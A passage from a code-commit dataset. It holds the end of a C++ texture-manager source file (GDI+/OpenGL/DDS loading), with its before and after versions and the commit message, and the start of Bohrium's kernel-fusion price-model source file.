0, w, h);\r\n\r\n\tGdiplus::BitmapData* bitmapData = new Gdiplus::BitmapData;\r\n\timage->LockBits(&rc, Gdiplus::ImageLockModeRead, PixelFormat32bppARGB, bitmapData);\r\n\r\n\tstd::vector<uint32_t> col;\r\n\tcol.resize(w * h);\r\n\tfor (int y = 0; y < h; y++) {\r\n\t\tmemcpy(&col[y * w], (char*)bitmapData->Scan0 + bitmapData->Stride * y, w * 4);\r\n\t\tfor (int x = 0; x < w; x++) {\r\n\t\t\tuint32_t& c = col[y * w + x];\r\n\t\t\tc = (c & 0xff00ff00) | ((c & 0xff) << 16) | ((c & 0xff0000) >> 16);\r\n\t\t}\r\n\t}\r\n\timage->UnlockBits(bitmapData);\r\n\tdelete bitmapData;\r\n\tdelete image;\r\n\tGdiplus::GdiplusShutdown(gdiplusToken);\r\n\r\n\tGLuint texture;\r\n\tglGenTextures(1, &texture);\r\n\tglBindTexture(GL_TEXTURE_2D, texture);\r\n\tglTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER, GL_LINEAR_MIPMAP_LINEAR);\r\n\tglTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MAG_FILTER, GL_LINEAR);\r\n\tglTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_S, GL_CLAMP_TO_EDGE);\r\n\tglTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_T, GL_CLAMP_TO_EDGE);\r\n\tglPixelStorei(GL_UNPACK_ALIGNMENT, 1);\r\n\tglTexImage2D(GL_TEXTURE_2D, 0, GL_RGBA, w, h, 0, GL_RGBA, GL_UNSIGNED_BYTE, &col[0]);\r\n\tglGenerateMipmap(GL_TEXTURE_2D);\r\n\tglBindTexture(GL_TEXTURE_2D, 0);\r\n\treturn texture;\r\n}\r\n#endif\r\n\r\nstruct DDSHeader {\r\n\tuint32_t h3[3];\r\n\tuint32_t h, w;\r\n\tuint32_t h2[2];\r\n\tuint32_t mipCnt;\r\n\tuint32_t h13[13];\r\n\tuint32_t fourcc, bitsPerPixel, rMask, gMask, bMask, aMask;\r\n};\r\n\r\nstatic void bitScanForward(uint32_t* result, uint32_t mask)\r\n{\r\n\t\/\/\tDWORD dwd;\r\n\t\/\/\t_BitScanForward(&dwd, mask);\r\n\t\/\/\t*result = dwd;\r\n\r\n\tfor (int i = 0; i < 32; i++) {\r\n\t\tif (mask & (1 << i)) {\r\n\t\t\t*result = i;\r\n\t\t\treturn;\r\n\t\t}\r\n\t}\r\n\t*result = 0;\r\n}\r\n\r\nstatic GLuint CreateTextureFromRowDDS(const void* img, int size)\r\n{\r\n\tconst DDSHeader* hdr = (DDSHeader*)img;\r\n\tint w = (int)hdr->w;\r\n\tint h = (int)hdr->h;\r\n\tconst uint32_t* im = (uint32_t*)img + 128 \/ 4;\r\n\tstd::vector<uint32_t> col;\r\n\tuint32_t rShift, gShift, bShift, aShift;\r\n\tbitScanForward(&rShift, hdr->rMask);\r\n\tbitScanForward(&gShift, hdr->gMask);\r\n\tbitScanForward(&bShift, hdr->bMask);\r\n\tbitScanForward(&aShift, hdr->aMask);\r\n\tfor (int y = 0; y < h; y++) {\r\n\t\tfor (int x = 0; x < w; x++) {\r\n\t\t\tuint32_t c = *im++;\r\n\t\t\tcol.push_back(\r\n\t\t\t\t((hdr->aMask & c) >> aShift << 24) +\r\n\t\t\t\t((hdr->bMask & c) >> bShift << 16) +\r\n\t\t\t\t((hdr->gMask & c) >> gShift << 8) +\r\n\t\t\t\t((hdr->rMask & c) >> rShift));\r\n\t\t}\r\n\t}\r\n\r\n\tGLuint texture;\r\n\tglGenTextures(1, &texture);\r\n\tglBindTexture(GL_TEXTURE_2D, texture);\r\n\tglTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER, GL_LINEAR_MIPMAP_LINEAR);\r\n\tglTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MAG_FILTER, GL_LINEAR);\r\n\tglTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_S, GL_CLAMP_TO_EDGE);\r\n\tglTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_T, GL_CLAMP_TO_EDGE);\r\n\tglPixelStorei(GL_UNPACK_ALIGNMENT, 1);\r\n\tglTexImage2D(GL_TEXTURE_2D, 0, GL_RGBA, w, h, 0, GL_RGBA, GL_UNSIGNED_BYTE, &col[0]);\r\n\tglGenerateMipmap(GL_TEXTURE_2D);\r\n\tglBindTexture(GL_TEXTURE_2D, 0);\r\n\treturn texture;\r\n}\r\n\r\nstatic GLuint LoadDDSTexture(const char* name)\r\n{\r\n\tint size;\r\n\tGLuint texture = 0;\r\n\tvoid* img = LoadFile(name, &size);\r\n\tif (!img) {\r\n\t\taflog(\"LoadDDSTexture failed! %s\", name);\r\n\t\treturn 0;\r\n\t}\r\n\tconst DDSHeader* hdr = (DDSHeader*)img;\r\n\r\n\tGLenum format;\r\n\tint blockSize = 16;\r\n\tswitch (hdr->fourcc) {\r\n\tcase 0x31545844: \/\/'1TXD':\r\n\t\tformat = 0x83F1;\t\/\/ GL_COMPRESSED_RGBA_S3TC_DXT1_EXT;\r\n\t\tblockSize = 8;\r\n\t\tbreak;\r\n\t\t\/\/\tcase 0x33545844; \/\/'3TXD':\r\n\t\t\/\/\t\tformat = GL_COMPRESSED_RGBA_S3TC_DXT3_EXT;\r\n\t\t\/\/\t\tbreak;\r\n\t\t\/\/\tcase 0x35545844; \/\/'5TXD':\r\n\t\t\/\/\t\tformat = GL_COMPRESSED_RGBA_S3TC_DXT5_EXT;\r\n\t\t\/\/\t\tbreak;\r\n\tdefault:\r\n\t\ttexture = CreateTextureFromRowDDS(img, size);\r\n\t\tgoto END;\r\n\t}\r\n\r\n\tglGenTextures(1, &texture);\r\n\tglBindTexture(GL_TEXTURE_2D, texture);\r\n\tglTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER, GL_LINEAR_MIPMAP_LINEAR);\r\n\tglTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MAG_FILTER, GL_LINEAR);\r\n\tglTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_S, GL_CLAMP_TO_EDGE);\r\n\tglTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_T, GL_CLAMP_TO_EDGE);\r\n\t{\r\n\t\tint texSize = blockSize * ((hdr->w + 3) \/ 4) * ((hdr->h + 3) \/ 4);\r\n\t\tglCompressedTexImage2D(GL_TEXTURE_2D, 0, format, hdr->w, hdr->h, 0, texSize, (char*)img + 128);\r\n\t}\r\n\tglBindTexture(GL_TEXTURE_2D, 0);\r\n\r\nEND:\r\n\tfree(img);\r\n\treturn texture;\r\n}\r\n\r\nstatic GLuint LoadTexture(const char* name)\r\n{\r\n\tint len = strlen(name);\r\n\tif (len > 4 && !stricmp(name + len - 4, \".dds\")) {\r\n\t\treturn LoadDDSTexture(name);\r\n\t} else {\r\n\t\treturn LoadTextureViaOS(name);\r\n\t}\r\n}\r\n\r\nstatic GLuint CreateWhiteTexture()\r\n{\r\n\tuint32_t col = 0xffffffff;\r\n\tGLuint texture;\r\n\tglGenTextures(1, &texture);\r\n\tglBindTexture(GL_TEXTURE_2D, texture);\r\n\tglTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER, GL_NEAREST);\r\n\tglTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MAG_FILTER, GL_NEAREST);\r\n\tglTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_S, GL_CLAMP_TO_EDGE);\r\n\tglTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_T, GL_CLAMP_TO_EDGE);\r\n\tglPixelStorei(GL_UNPACK_ALIGNMENT, 1);\r\n\tglTexImage2D(GL_TEXTURE_2D, 0, GL_RGBA, 1, 1, 0, GL_RGBA, GL_UNSIGNED_BYTE, &col);\r\n\tglBindTexture(GL_TEXTURE_2D, 0);\r\n\treturn texture;\r\n}\r\n\r\nstatic GLuint CreateDynamicTexture(int w, int h)\r\n{\r\n\tGLuint texture;\r\n\tglGenTextures(1, &texture);\r\n\tglBindTexture(GL_TEXTURE_2D, texture);\r\n\tglTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER, GL_LINEAR);\r\n\tglTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MAG_FILTER, GL_LINEAR);\r\n\tglTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_S, GL_CLAMP_TO_EDGE);\r\n\tglTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_T, GL_CLAMP_TO_EDGE);\r\n\tglPixelStorei(GL_UNPACK_ALIGNMENT, 1);\r\n\tglTexImage2D(GL_TEXTURE_2D, 0, GL_RGBA, w, h, 0, GL_RGBA, GL_UNSIGNED_BYTE, nullptr);\r\n\tglBindTexture(GL_TEXTURE_2D, 0);\r\n\treturn texture;\r\n}\r\n\r\nTexMan::TMID TexMan::CreateDynamicTexture(const char* name, int w, int h)\r\n{\r\n\tauto it = nameToId.find(name);\r\n\tif (it != nameToId.end())\r\n\t{\r\n\t\treturn it->second;\r\n\t}\r\n\treturn nameToId[name] = ::CreateDynamicTexture(w, h);\r\n}\r\n\r\nTexMan::TMID TexMan::Create(const char *name)\r\n{\r\n\tNameToId::iterator it = nameToId.find(name);\r\n\tif (it != nameToId.end())\r\n\t{\r\n\t\treturn it->second;\r\n\t}\r\n\treturn nameToId[name] = LoadTexture(name);\r\n}\r\n\r\nTexMan::TMID TexMan::CreateWhiteTexture()\r\n{\r\n\tconst std::string name = \"$WHITE\";\r\n\tNameToId::iterator it = nameToId.find(name);\r\n\tif (it != nameToId.end())\r\n\t{\r\n\t\treturn it->second;\r\n\t}\r\n\treturn nameToId[name] = ::CreateWhiteTexture();\r\n}\r\n\r\nvoid TexMan::Destroy()\r\n{\r\n\tfor (NameToId::iterator it = nameToId.begin(); it != nameToId.end(); ++it)\r\n\t{\r\n\t\tGLuint id[1] = { it->second };\r\n\t\tglDeleteTextures(1, id);\r\n\t}\r\n\tnameToId.clear();\r\n}\r\n\r\nvoid TexMan::Write(TMID id, const void* buf, int w, int h)\r\n{\r\n\tglBindTexture(GL_TEXTURE_2D, id);\r\n\tglTexSubImage2D(\r\n\t\tGL_TEXTURE_2D,\r\n\t\t0,\r\n\t\t0,\r\n\t\t0,\r\n\t\tw,\r\n\t\th,\r\n\t\tGL_RGBA,\r\n\t\tGL_UNSIGNED_BYTE,\r\n\t\tbuf\r\n\t\t);\r\n\tglBindTexture(GL_TEXTURE_2D, 0);\r\n}\r\n<commit_msg>put min\/max into Gdiplus<commit_after>#include \"stdafx.h\"\r\n\r\nTexMan texMan;\r\n\r\n#ifndef _MSC_VER\r\nstatic GLuint LoadTextureViaOS(const char* name)\r\n{\r\n\tjclass myview = jniEnv->FindClass(boundJavaClass);\r\n\tjmethodID method = method = jniEnv->GetStaticMethodID(myview, \"loadTexture\", \"(Ljava\/lang\/String;)I\");\r\n\tif (method == 0) {\r\n\t\treturn 0;\r\n\t}\r\n\treturn jniEnv->CallStaticIntMethod(myview, method, jniEnv->NewStringUTF(name));\r\n}\r\n#endif\r\n\r\n#ifdef _MSC_VER\r\nnamespace Gdiplus {\r\n\tusing std::min;\r\n\tusing std::max;\r\n}\r\n#include <gdiplus.h>\r\n#pragma comment(lib, \"gdiplus.lib\")\r\n\r\nstatic GLuint LoadTextureViaOS(const char* name)\r\n{\r\n\tGdiplus::GdiplusStartupInput gdiplusStartupInput;\r\n\tULONG_PTR gdiplusToken;\r\n\tGdiplus::GdiplusStartup(&gdiplusToken, &gdiplusStartupInput, nullptr);\r\n\tWCHAR wc[MAX_PATH];\r\n\tMultiByteToWideChar(CP_ACP, 0, name, -1, wc, dimof(wc));\r\n\tGdiplus::Bitmap* image = new Gdiplus::Bitmap(wc);\r\n\r\n\tint w = (int)image->GetWidth();\r\n\tint h = (int)image->GetHeight();\r\n\tGdiplus::Rect rc(0, 0, w, h);\r\n\r\n\tGdiplus::BitmapData* bitmapData = new Gdiplus::BitmapData;\r\n\timage->LockBits(&rc, Gdiplus::ImageLockModeRead, PixelFormat32bppARGB, bitmapData);\r\n\r\n\tstd::vector<uint32_t> col;\r\n\tcol.resize(w * h);\r\n\tfor (int y = 0; y < h; y++) {\r\n\t\tmemcpy(&col[y * w], (char*)bitmapData->Scan0 + bitmapData->Stride * y, w * 4);\r\n\t\tfor (int x = 0; x < w; x++) {\r\n\t\t\tuint32_t& c = col[y * w + x];\r\n\t\t\tc = (c & 0xff00ff00) | ((c & 0xff) << 16) | ((c & 0xff0000) >> 16);\r\n\t\t}\r\n\t}\r\n\timage->UnlockBits(bitmapData);\r\n\tdelete bitmapData;\r\n\tdelete image;\r\n\tGdiplus::GdiplusShutdown(gdiplusToken);\r\n\r\n\tGLuint texture;\r\n\tglGenTextures(1, &texture);\r\n\tglBindTexture(GL_TEXTURE_2D, texture);\r\n\tglTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER, GL_LINEAR_MIPMAP_LINEAR);\r\n\tglTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MAG_FILTER, GL_LINEAR);\r\n\tglTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_S, GL_CLAMP_TO_EDGE);\r\n\tglTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_T, GL_CLAMP_TO_EDGE);\r\n\tglPixelStorei(GL_UNPACK_ALIGNMENT, 1);\r\n\tglTexImage2D(GL_TEXTURE_2D, 0, GL_RGBA, w, h, 0, GL_RGBA, GL_UNSIGNED_BYTE, &col[0]);\r\n\tglGenerateMipmap(GL_TEXTURE_2D);\r\n\tglBindTexture(GL_TEXTURE_2D, 0);\r\n\treturn texture;\r\n}\r\n#endif\r\n\r\nstruct DDSHeader {\r\n\tuint32_t h3[3];\r\n\tuint32_t h, w;\r\n\tuint32_t h2[2];\r\n\tuint32_t mipCnt;\r\n\tuint32_t h13[13];\r\n\tuint32_t fourcc, bitsPerPixel, rMask, gMask, bMask, aMask;\r\n};\r\n\r\nstatic void bitScanForward(uint32_t* result, uint32_t mask)\r\n{\r\n\t\/\/\tDWORD dwd;\r\n\t\/\/\t_BitScanForward(&dwd, mask);\r\n\t\/\/\t*result = dwd;\r\n\r\n\tfor (int i = 0; i < 32; i++) {\r\n\t\tif (mask & (1 << i)) {\r\n\t\t\t*result = i;\r\n\t\t\treturn;\r\n\t\t}\r\n\t}\r\n\t*result = 0;\r\n}\r\n\r\nstatic GLuint CreateTextureFromRowDDS(const void* img, int size)\r\n{\r\n\tconst DDSHeader* hdr = (DDSHeader*)img;\r\n\tint w = (int)hdr->w;\r\n\tint h = (int)hdr->h;\r\n\tconst uint32_t* im = (uint32_t*)img + 128 \/ 4;\r\n\tstd::vector<uint32_t> col;\r\n\tuint32_t rShift, gShift, bShift, aShift;\r\n\tbitScanForward(&rShift, hdr->rMask);\r\n\tbitScanForward(&gShift, hdr->gMask);\r\n\tbitScanForward(&bShift, hdr->bMask);\r\n\tbitScanForward(&aShift, hdr->aMask);\r\n\tfor (int y = 0; y < h; y++) {\r\n\t\tfor (int x = 0; x < w; x++) {\r\n\t\t\tuint32_t c = *im++;\r\n\t\t\tcol.push_back(\r\n\t\t\t\t((hdr->aMask & c) >> aShift << 24) +\r\n\t\t\t\t((hdr->bMask & c) >> bShift << 16) +\r\n\t\t\t\t((hdr->gMask & c) >> gShift << 8) +\r\n\t\t\t\t((hdr->rMask & c) >> rShift));\r\n\t\t}\r\n\t}\r\n\r\n\tGLuint texture;\r\n\tglGenTextures(1, &texture);\r\n\tglBindTexture(GL_TEXTURE_2D, texture);\r\n\tglTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER, GL_LINEAR_MIPMAP_LINEAR);\r\n\tglTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MAG_FILTER, GL_LINEAR);\r\n\tglTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_S, GL_CLAMP_TO_EDGE);\r\n\tglTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_T, GL_CLAMP_TO_EDGE);\r\n\tglPixelStorei(GL_UNPACK_ALIGNMENT, 1);\r\n\tglTexImage2D(GL_TEXTURE_2D, 0, GL_RGBA, w, h, 0, GL_RGBA, GL_UNSIGNED_BYTE, &col[0]);\r\n\tglGenerateMipmap(GL_TEXTURE_2D);\r\n\tglBindTexture(GL_TEXTURE_2D, 0);\r\n\treturn texture;\r\n}\r\n\r\nstatic GLuint LoadDDSTexture(const char* name)\r\n{\r\n\tint size;\r\n\tGLuint texture = 0;\r\n\tvoid* img = LoadFile(name, &size);\r\n\tif (!img) {\r\n\t\taflog(\"LoadDDSTexture failed! %s\", name);\r\n\t\treturn 0;\r\n\t}\r\n\tconst DDSHeader* hdr = (DDSHeader*)img;\r\n\r\n\tGLenum format;\r\n\tint blockSize = 16;\r\n\tswitch (hdr->fourcc) {\r\n\tcase 0x31545844: \/\/'1TXD':\r\n\t\tformat = 0x83F1;\t\/\/ GL_COMPRESSED_RGBA_S3TC_DXT1_EXT;\r\n\t\tblockSize = 8;\r\n\t\tbreak;\r\n\t\t\/\/\tcase 0x33545844; \/\/'3TXD':\r\n\t\t\/\/\t\tformat = GL_COMPRESSED_RGBA_S3TC_DXT3_EXT;\r\n\t\t\/\/\t\tbreak;\r\n\t\t\/\/\tcase 0x35545844; \/\/'5TXD':\r\n\t\t\/\/\t\tformat = GL_COMPRESSED_RGBA_S3TC_DXT5_EXT;\r\n\t\t\/\/\t\tbreak;\r\n\tdefault:\r\n\t\ttexture = CreateTextureFromRowDDS(img, size);\r\n\t\tgoto END;\r\n\t}\r\n\r\n\tglGenTextures(1, &texture);\r\n\tglBindTexture(GL_TEXTURE_2D, texture);\r\n\tglTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER, GL_LINEAR_MIPMAP_LINEAR);\r\n\tglTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MAG_FILTER, GL_LINEAR);\r\n\tglTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_S, GL_CLAMP_TO_EDGE);\r\n\tglTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_T, GL_CLAMP_TO_EDGE);\r\n\t{\r\n\t\tint texSize = blockSize * ((hdr->w + 3) \/ 4) * ((hdr->h + 3) \/ 4);\r\n\t\tglCompressedTexImage2D(GL_TEXTURE_2D, 0, format, hdr->w, hdr->h, 0, texSize, (char*)img + 128);\r\n\t}\r\n\tglBindTexture(GL_TEXTURE_2D, 0);\r\n\r\nEND:\r\n\tfree(img);\r\n\treturn texture;\r\n}\r\n\r\nstatic GLuint LoadTexture(const char* name)\r\n{\r\n\tint len = strlen(name);\r\n\tif (len > 4 && !stricmp(name + len - 4, \".dds\")) {\r\n\t\treturn LoadDDSTexture(name);\r\n\t} else {\r\n\t\treturn LoadTextureViaOS(name);\r\n\t}\r\n}\r\n\r\nstatic GLuint CreateWhiteTexture()\r\n{\r\n\tuint32_t col = 0xffffffff;\r\n\tGLuint texture;\r\n\tglGenTextures(1, &texture);\r\n\tglBindTexture(GL_TEXTURE_2D, texture);\r\n\tglTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER, GL_NEAREST);\r\n\tglTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MAG_FILTER, GL_NEAREST);\r\n\tglTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_S, GL_CLAMP_TO_EDGE);\r\n\tglTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_T, GL_CLAMP_TO_EDGE);\r\n\tglPixelStorei(GL_UNPACK_ALIGNMENT, 1);\r\n\tglTexImage2D(GL_TEXTURE_2D, 0, GL_RGBA, 1, 1, 0, GL_RGBA, GL_UNSIGNED_BYTE, &col);\r\n\tglBindTexture(GL_TEXTURE_2D, 0);\r\n\treturn texture;\r\n}\r\n\r\nstatic GLuint CreateDynamicTexture(int w, int h)\r\n{\r\n\tGLuint texture;\r\n\tglGenTextures(1, &texture);\r\n\tglBindTexture(GL_TEXTURE_2D, texture);\r\n\tglTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER, GL_LINEAR);\r\n\tglTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MAG_FILTER, GL_LINEAR);\r\n\tglTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_S, GL_CLAMP_TO_EDGE);\r\n\tglTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_T, GL_CLAMP_TO_EDGE);\r\n\tglPixelStorei(GL_UNPACK_ALIGNMENT, 1);\r\n\tglTexImage2D(GL_TEXTURE_2D, 0, GL_RGBA, w, h, 0, GL_RGBA, GL_UNSIGNED_BYTE, nullptr);\r\n\tglBindTexture(GL_TEXTURE_2D, 0);\r\n\treturn texture;\r\n}\r\n\r\nTexMan::TMID TexMan::CreateDynamicTexture(const char* name, int w, int h)\r\n{\r\n\tauto it = nameToId.find(name);\r\n\tif (it != nameToId.end())\r\n\t{\r\n\t\treturn it->second;\r\n\t}\r\n\treturn nameToId[name] = ::CreateDynamicTexture(w, h);\r\n}\r\n\r\nTexMan::TMID TexMan::Create(const char *name)\r\n{\r\n\tNameToId::iterator it = nameToId.find(name);\r\n\tif (it != nameToId.end())\r\n\t{\r\n\t\treturn it->second;\r\n\t}\r\n\treturn nameToId[name] = LoadTexture(name);\r\n}\r\n\r\nTexMan::TMID TexMan::CreateWhiteTexture()\r\n{\r\n\tconst std::string name = \"$WHITE\";\r\n\tNameToId::iterator it = nameToId.find(name);\r\n\tif (it != nameToId.end())\r\n\t{\r\n\t\treturn it->second;\r\n\t}\r\n\treturn nameToId[name] = ::CreateWhiteTexture();\r\n}\r\n\r\nvoid TexMan::Destroy()\r\n{\r\n\tfor (NameToId::iterator it = nameToId.begin(); it != nameToId.end(); ++it)\r\n\t{\r\n\t\tGLuint id[1] = { it->second };\r\n\t\tglDeleteTextures(1, id);\r\n\t}\r\n\tnameToId.clear();\r\n}\r\n\r\nvoid TexMan::Write(TMID id, const void* buf, int w, int h)\r\n{\r\n\tglBindTexture(GL_TEXTURE_2D, id);\r\n\tglTexSubImage2D(\r\n\t\tGL_TEXTURE_2D,\r\n\t\t0,\r\n\t\t0,\r\n\t\t0,\r\n\t\tw,\r\n\t\th,\r\n\t\tGL_RGBA,\r\n\t\tGL_UNSIGNED_BYTE,\r\n\t\tbuf\r\n\t\t);\r\n\tglBindTexture(GL_TEXTURE_2D, 0);\r\n}\r\n<|endoftext|>"} {"text":"<commit_before>\/*\nThis file is part of Bohrium and copyright (c) 2012 the Bohrium\nteam <http:\/\/www.bh107.org>.\n\nBohrium is free software: you can redistribute it and\/or modify\nit under the terms of the GNU Lesser General Public License as\npublished by the Free Software Foundation, either version 3\nof the License, or (at your option) any later version.\n\nBohrium is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\nGNU General Public License for more details.\n\nYou should have received a copy of the\nGNU Lesser General Public License along with Bohrium.\n\nIf not, see <http:\/\/www.gnu.org\/licenses\/>.\n*\/\n\n#include <string>\n#include <stdexcept>\n#include <boost\/algorithm\/string\/predicate.hpp> \/\/For iequals()\n#include <bh.h>\n#include \"bh_fuse_price.h\"\n\nusing namespace std;\n\nnamespace bohrium {\n\n\/* The default fuse model *\/\nstatic const FusePriceModel default_price_model = UNIQUE_VIEWS;\n\n\/* The current selected fuse model *\/\nstatic FusePriceModel selected_price_model = NUM_OF_PRICE_MODELS;\n\n\n\/************************************************************************\/\n\/*************** Specific fuse model implementations ********************\/\n\/************************************************************************\/\n\n\/* Returns the bytes in a bh_view *\/\ninline static uint64_t bytes_in_view(const bh_view &v)\n{\n assert (!bh_is_constant(&v));\n return bh_nelements_nbcast(&v) * bh_type_size(v.base->type);\n}\n\n\/* The cost of a kernel is the sum of unique views read and written *\/\nstatic uint64_t cost_unique(const bh_ir_kernel &k)\n{\n set<bh_view> unique_views;\n unique_views.insert(k.get_input_set().begin(), k.get_input_set().end());\n unique_views.insert(k.get_output_set().begin(), k.get_output_set().end());\n\n uint64_t sum = 0;\n for(const bh_view &v: k.get_input_set())\n sum += bytes_in_view(v);\n for(const bh_view &v: k.get_output_set())\n sum += bytes_in_view(v);\n return sum;\n}\nstatic uint64_t savings_unique(const bh_ir_kernel &k1, const bh_ir_kernel &k2)\n{\n bh_ir_kernel tmp = k1;\n for(uint64_t instr_idx: k2.instr_indexes())\n {\n tmp.add_instr(instr_idx);\n }\n uint64_t old_cost = cost_unique(k1) + cost_unique(k2);\n uint64_t new_cost = cost_unique(tmp);\n assert(old_cost >= new_cost);\n return old_cost - new_cost;\n}\n\/*\nstatic uint64_t savings_unique_old(const bh_ir_kernel &a, const bh_ir_kernel &b)\n{\n int64_t price_drop = 0;\n \/\/Subtract inputs in 'a' that comes from 'b' or is already an input in 'b'\n for(const bh_view &i: a.get_input_set())\n {\n for(const bh_view &o: b.get_output_set())\n {\n if(bh_view_aligned(&i, &o))\n price_drop += bytes_in_view(i);\n }\n for(const bh_view &o: b.get_input_set())\n {\n if(bh_view_aligned(&i, &o))\n price_drop += bytes_in_view(i);\n }\n }\n \/\/Subtract outputs from 'b' that are discared in 'a'\n for(const bh_view &o: b.get_output_set())\n {\n for(uint64_t a_instr_idx: a.instr_indexes())\n {\n const bh_instruction &a_instr = a.bhir->instr_list[a_instr_idx];\n if(a_instr.opcode == BH_DISCARD and a_instr.operand[0].base == o.base)\n {\n price_drop += bytes_in_view(o);\n break;\n }\n }\n }\n return price_drop;\n}\n*\/\n\n\/* The cost of a kernel is 'number of instruction' * 3 - 'number of temp arrays' *\/\nstatic uint64_t cost_temp_elemination(const bh_ir_kernel &k)\n{\n return k.instr_indexes().size() * 3 - k.get_temps().size();\n}\nstatic uint64_t savings_temp_elemination(const bh_ir_kernel &k1, const bh_ir_kernel &k2)\n{\n bh_ir_kernel tmp = k1;\n for(uint64_t instr_idx: k2.instr_indexes())\n {\n tmp.add_instr(instr_idx);\n }\n uint64_t old_cost = cost_temp_elemination(k1) + cost_temp_elemination(k2);\n uint64_t new_cost = cost_temp_elemination(tmp);\n assert(old_cost >= new_cost);\n return old_cost - new_cost;\n}\n\nstatic uint64_t cost_max_share(const bh_ir_kernel &k)\n{\n if(k.instr_indexes().size() == 0)\n return 0;\n\n uint64_t shared_access = 0;\n for(uint64_t instr_idx=0; instr_idx < k.bhir->instr_list.size(); ++instr_idx)\n {\n const bh_instruction &instr = k.bhir->instr_list[instr_idx];\n \/\/Check if the instruction is in this kernel\n if(std::find(k.instr_indexes().begin(), k.instr_indexes().end(), instr_idx) != k.instr_indexes().end())\n continue;\n\n \/\/Let's count the number of inputs in this kernel that reads the output of 'instr'\n for(uint64_t krn_idx: k.instr_indexes())\n {\n if(krn_idx < instr_idx)\n continue;\n const bh_instruction &krn_instr = k.bhir->instr_list[krn_idx];\n const int nop = bh_operands(krn_instr.opcode);\n for(int i=1; i<nop; ++i)\n {\n const bh_view &read = krn_instr.operand[i];\n if(bh_is_constant(&read))\n continue;\n if(read.base->nelem <= 1)\n continue; \/\/We ignore 1-sized arrays\n if(instr.operand[0] == read)\n ++shared_access;\n }\n }\n \/\/Let's count the number of shared inputs\n for(uint64_t krn_idx: k.instr_indexes())\n {\n const bh_instruction &krn_instr = k.bhir->instr_list[krn_idx];\n for(int i=1; i < bh_operands(instr.opcode); ++i)\n {\n if(bh_is_constant(&instr.operand[i]))\n continue;\n for(int j=1; j < bh_operands(krn_instr.opcode); ++j)\n {\n if(bh_is_constant(&krn_instr.operand[j]))\n continue;\n if(krn_instr.operand[j].base->nelem <= 1)\n continue; \/\/We ignore 1-sized arrays\n if(instr.operand[i] == krn_instr.operand[j])\n ++shared_access;\n }\n }\n }\n }\n return shared_access;\n}\nstatic uint64_t savings_max_share(const bh_ir_kernel &k1, const bh_ir_kernel &k2)\n{\n bh_ir_kernel tmp = k1;\n for(uint64_t instr_idx: k2.instr_indexes())\n {\n tmp.add_instr(instr_idx);\n }\n uint64_t old_cost = cost_max_share(k1) + cost_max_share(k2);\n uint64_t new_cost = cost_max_share(tmp);\n assert(old_cost >= new_cost);\n return old_cost - new_cost;\n}\n\nstatic uint64_t cost_amos(const bh_ir_kernel &k)\n{\n uint64_t N = k.bhir->instr_list.size();\n if(k.instr_indexes().size() == 0)\n return 0;\n\n uint64_t loop_overhead = 1;\n uint64_t not_tmp = k.get_parameters().size();\n uint64_t shared_access = cost_max_share(k);\n\n return loop_overhead+not_tmp*N+shared_access*N*N;\n}\nstatic uint64_t savings_amos(const bh_ir_kernel &k1, const bh_ir_kernel &k2)\n{\n bh_ir_kernel tmp = k1;\n for(uint64_t instr_idx: k2.instr_indexes())\n {\n tmp.add_instr(instr_idx);\n }\n uint64_t old_cost = cost_amos(k1) + cost_amos(k2);\n uint64_t new_cost = cost_amos(tmp);\n assert(old_cost >= new_cost);\n return old_cost - new_cost;\n}\n\n\/************************************************************************\/\n\/*************** The public interface implementation ********************\/\n\/************************************************************************\/\n\nFusePriceModel fuse_get_selected_price_model()\n{\n using namespace boost;\n\n if(selected_price_model != NUM_OF_PRICE_MODELS)\n return selected_price_model;\n\n string default_model;\n fuse_price_model_text(default_price_model, default_model);\n\n \/\/Check enviroment variable\n const char *env = getenv(\"BH_PRICE_MODEL\");\n if(env != NULL)\n {\n string e(env);\n \/\/Iterate through the 'FusePriceModel' enum and find the enum that matches\n \/\/the enviroment variable string 'e'\n for(FusePriceModel m = UNIQUE_VIEWS; 